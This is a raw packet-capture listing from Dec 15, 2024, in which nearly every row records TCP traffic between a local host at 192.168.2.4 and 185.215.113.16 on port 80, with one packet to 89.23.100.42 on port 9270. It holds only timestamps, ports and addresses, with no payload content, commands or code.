Dec 15, 2024 11:59:49.820796967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.821738005 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.821784973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.821831942 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.821877956 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.822911978 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.822958946 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.823004007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.823048115 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.823972940 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.824018955 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.824059010 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.824101925 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.825057983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.825102091 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.825153112 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.825196028 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.826183081 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.826230049 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.826284885 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.826327085 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.827224970 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.827270031 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.827325106 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.827370882 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.828327894 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.828378916 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.828424931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.828471899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.829435110 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.829477072 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.829530001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.829571962 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.830544949 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.830569983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.830610037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.830610037 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.831635952 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.831681967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.831763029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.831806898 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.832751989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.832798958 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.832817078 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.832865000 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.833849907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.833900928 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.833997965 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.834053993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.834989071 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.835042000 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.835105896 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.835154057 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.836074114 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.836122036 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.836160898 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.836208105 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.837147951 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.837189913 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.837276936 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.837321997 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.838243008 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.838303089 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.838413000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.838463068 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.839356899 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.839406013 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.839452028 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.839498043 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.840509892 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.840560913 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.840562105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.840605974 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.841552973 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.841603041 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.841650009 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.841696024 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.842643023 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.842693090 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.842760086 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.842808008 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.843972921 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.844024897 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.844041109 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.844086885 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.844852924 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.844908953 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.844923973 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.844966888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.845989943 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.846033096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.846045971 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.846087933 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.847035885 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.847080946 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.847179890 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.847223043 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.848175049 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.848222971 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.848299980 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.848352909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.849245071 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.849289894 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.849396944 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.849441051 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.850362062 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.850403070 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.850441933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.850481987 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.851500988 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.851552010 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.851646900 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.851697922 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.852612972 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.852658033 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.852677107 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.852721930 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.853645086 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.853696108 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.853743076 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.853786945 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.854773998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.854824066 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.854859114 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.854904890 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.855850935 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.855900049 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.855950117 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.855993032 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.856931925 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.856981039 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.856981039 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.857031107 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.858184099 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.858230114 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.858232975 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.858277082 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.859215021 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.859268904 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.859358072 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.859405994 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.860263109 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.860312939 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.860358953 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.860408068 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.861323118 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.861371040 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.861404896 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.861450911 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.862458944 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.862504959 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.862596989 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.862642050 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.863554001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.863599062 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.863653898 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.863699913 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.864629030 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.864676952 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.864779949 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.864824057 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.865731001 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.865778923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.865860939 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.865902901 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.866836071 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.866879940 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.866949081 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.866990089 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.867942095 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.867966890 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.867986917 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.868019104 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.869117975 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.869164944 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.869266033 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.869308949 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.870193005 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.870240927 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.870312929 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.870357990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.871258020 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.871303082 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.871350050 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.871397018 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.872303963 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.872350931 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.963372946 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:50.006737947 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.006845951 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.006905079 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.006905079 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.007263899 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.007322073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.007371902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.007421017 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.008347034 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.008387089 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.008800030 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.008843899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.008996010 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.009038925 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.009872913 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.009915113 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.009965897 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.010008097 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.011075974 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.011121988 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.011132956 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.011173964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.012079954 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.012131929 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.012192011 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.012234926 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.013170004 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.013214111 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.013303041 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.013346910 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.014261007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.014306068 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.014350891 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.014394045 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.015362978 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.015414953 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.015460014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.015507936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.016458035 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.016509056 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.016587973 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.016633987 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.017569065 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.017617941 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.017671108 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.017752886 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.018660069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.018711090 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.018765926 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.018915892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.019787073 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.019839048 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.019880056 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.019921064 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.020872116 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.020917892 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.020960093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.021009922 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.021990061 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.022041082 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.022056103 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.022099018 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.023046970 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.023092031 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.023154974 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.023197889 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.024171114 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.024194956 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.024228096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.024228096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.025304079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.025350094 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.025381088 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.025430918 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.026391983 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.026434898 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.026480913 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.026523113 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.027478933 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.027522087 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.027600050 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.027642012 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.028568029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.028614044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.028661013 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.028703928 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.029671907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.029715061 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.029762030 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.029805899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.030759096 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.030803919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.030864000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.030905962 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.031855106 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.031898975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.031975031 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.032016993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.032982111 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.033030987 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.033081055 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.033128023 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.034099102 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.034145117 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.034243107 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.034288883 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.035152912 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.035201073 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.035264969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.035307884 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.036256075 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.036300898 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.036348104 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.036392927 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.037365913 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.037414074 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.037461996 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.037506104 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.038486958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.038531065 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.038579941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.038625956 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.039581060 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.039693117 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.039741039 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.039786100 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.040666103 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.040716887 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.040764093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.040807962 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.041773081 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.041819096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.041903019 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.041946888 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.042855978 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.042902946 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.043045998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.043090105 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.043976068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.044028044 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.044106007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.044147968 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.045109034 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.045156002 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.045253038 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.045305967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.046209097 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.046261072 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.046289921 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.046330929 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:50.047272921 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:50.047319889 CET	49857	80	192.168.2.4	185.215.113.16
